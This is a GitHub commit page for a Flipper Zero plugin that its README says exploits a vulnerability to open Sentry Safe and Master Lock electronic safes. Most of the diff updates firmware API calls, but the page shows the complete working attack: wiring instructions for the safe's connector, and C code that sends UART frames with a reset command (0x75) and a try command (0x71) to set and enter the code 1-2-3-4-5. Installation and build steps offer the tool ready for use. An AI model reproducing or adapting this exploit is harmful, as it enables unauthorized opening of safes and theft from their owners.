Skip to content

Commit

Permalink
Update plugin and add build instructions
Browse files Browse the repository at this point in the history
  • Loading branch information
H4ckd4ddy committed Nov 16, 2022
1 parent 19ac183 commit 15c32e7
Show file tree
Hide file tree
Showing 4 changed files with 44 additions and 38 deletions.
13 changes: 11 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,12 +6,21 @@ Flipper zero exploiting vulnerability to open any Sentry Safe and Master Lock el

### Installation

- Clone this repository in the applications folder of your firmware
- Add "sentry_safe" in one of menus in applications/meta/application.fam
- Download [last release fap file](https://github.com/H4ckd4ddy/flipperzero-sentry-safe-plugin/releases/latest)
- Copy fap file to the apps folder of your flipper SD card

### Usage

- Start "Sentry Safe" plugin
- Place wires as described on the plugin screen
- Press enter
- Open safe

### Build

- Recursively clone your base firmware (official or not)
- Clone this repository in `applications_user`
- Build with `./fbt fap_dist APPSRC=applications_user/flipperzero-sentry-safe-plugin`
- Retreive builed fap in dist subfolders

(More info about build tool [here](https://github.com/flipperdevices/flipperzero-firmware/blob/dev/documentation/fbt.md))
7 changes: 4 additions & 3 deletions application.fam
Original file line number Diff line number Diff line change
@@ -1,11 +1,12 @@
App(
appid="sentry_safe",
appid="Sentry_Safe",
name="Sentry Safe",
apptype=FlipperAppType.PLUGIN,
apptype=FlipperAppType.EXTERNAL,
entry_point="sentry_safe_app",
cdefines=["APP_SENTRY_SAFE"],
requires=["gui"],
stack_size=1 * 1024,
icon="A_Plugins_14",
order=40,
fap_icon="safe_10px.png",
fap_category="GPIO",
)
Binary file added safe_10px.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
62 changes: 29 additions & 33 deletions sentry_safe.c
Original file line number Diff line number Diff line change
Expand Up @@ -19,12 +19,9 @@ typedef struct {
InputEvent input;
} Event;


const char* status_texts[3] = { "[Press OK to open safe]", "Sending...", "Done !" };

const char* status_texts[3] = {"[Press OK to open safe]", "Sending...", "Done !"};

static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) {

const SentryState* sentry_state = acquire_mutex((ValueMutex*)ctx, 25);
if(sentry_state == NULL) {
return;
Expand All @@ -41,52 +38,52 @@ static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) {
canvas_draw_frame(canvas, 22, 4, 84, 24);
canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignBottom, "BLACK <-> GND");
canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignBottom, "GREEN <-> C1 ");
canvas_draw_str_aligned(canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]);
canvas_draw_str_aligned(
canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]);

release_mutex((ValueMutex*)ctx, sentry_state);
}

static void sentry_safe_input_callback(InputEvent* input_event, osMessageQueueId_t event_queue) {
static void sentry_safe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
furi_assert(event_queue);

Event event = {.type = EventTypeKey, .input = *input_event};
osMessageQueuePut(event_queue, &event, 0, osWaitForever);
furi_message_queue_put(event_queue, &event, FuriWaitForever);
}

void send_request(int command, int a, int b, int c, int d, int e){
void send_request(int command, int a, int b, int c, int d, int e) {
int checksum = (command + a + b + c + d + e);

furi_hal_gpio_init_simple(&gpio_ext_pc1, GpioModeOutputPushPull);
furi_hal_gpio_write(&gpio_ext_pc1, false);
osDelay(3.4);
furi_delay_ms(3.4);
furi_hal_gpio_write(&gpio_ext_pc1, true);

furi_hal_uart_init(FuriHalUartIdLPUART1, 4800);
//furi_hal_uart_set_br(FuriHalUartIdLPUART1, 4800);
//furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, usb_uart_on_irq_cb, usb_uart);

uint8_t data[8] = {0x0, command, a, b, c, d, e, checksum};
furi_hal_uart_tx(FuriHalUartIdLPUART1, data, 8);
osDelay(100);

furi_delay_ms(100);

furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL);
furi_hal_uart_deinit(FuriHalUartIdLPUART1);
}

void reset_code(int a, int b, int c, int d, int e) {
send_request(0x75, a, b, c, d, e);
send_request(0x75, a, b, c, d, e);
}

void try_code(int a, int b, int c, int d, int e) {
send_request(0x71, a, b, c, d, e);
send_request(0x71, a, b, c, d, e);
}

int32_t sentry_safe_app(void* p) {

UNUSED(p);

osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(Event), NULL);
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event));

SentryState* sentry_state = malloc(sizeof(SentryState));

Expand All @@ -95,6 +92,7 @@ int32_t sentry_safe_app(void* p) {
ValueMutex state_mutex;
if(!init_mutex(&state_mutex, sentry_state, sizeof(SentryState))) {
FURI_LOG_E("SentrySafe", "cannot create mutex\r\n");
furi_message_queue_free(event_queue);
free(sentry_state);
return 255;
}
Expand All @@ -104,21 +102,20 @@ int32_t sentry_safe_app(void* p) {
view_port_input_callback_set(view_port, sentry_safe_input_callback, event_queue);

// Open GUI and register view_port
Gui* gui = furi_record_open("gui");
Gui* gui = furi_record_open(RECORD_GUI);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);

Event event;
for(bool processing = true; processing;) {
osStatus_t event_status = osMessageQueueGet(event_queue, &event, NULL, 100);
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);

SentryState* sentry_state = (SentryState*)acquire_mutex_block(&state_mutex);

if(event_status == osOK) {
if(event_status == FuriStatusOk) {
// press events
if(event.type == EventTypeKey) {
if(event.input.type == InputTypePress) {
switch(event.input.key) {

case InputKeyUp:
break;
case InputKeyDown:
Expand All @@ -127,45 +124,44 @@ int32_t sentry_safe_app(void* p) {
break;
case InputKeyLeft:
break;

case InputKeyOk:

if(sentry_state->status == 2){

if(sentry_state->status == 2) {
sentry_state->status = 0;

}else if(sentry_state->status == 0){

} else if(sentry_state->status == 0) {
sentry_state->status = 1;

reset_code(1,2,3,4,5);
osDelay(500);
try_code(1,2,3,4,5);
reset_code(1, 2, 3, 4, 5);
furi_delay_ms(500);
try_code(1, 2, 3, 4, 5);

sentry_state->status = 2;

}

break;
case InputKeyBack:
processing = false;
break;
default:
break;
}
}
}
} else {
// event timeout
}

view_port_update(view_port);
release_mutex(&state_mutex, sentry_state);
}

// Reset GPIO pins to default state
furi_hal_gpio_init(&gpio_ext_pc1, GpioModeAnalog, GpioPullNo, GpioSpeedLow);

view_port_enabled_set(view_port, false);
gui_remove_view_port(gui, view_port);
furi_record_close("gui");
furi_record_close(RECORD_GUI);
view_port_free(view_port);
osMessageQueueDelete(event_queue);
furi_message_queue_free(event_queue);
delete_mutex(&state_mutex);
free(sentry_state);

Expand Down

0 comments on commit 15c32e7

Please sign in to comment.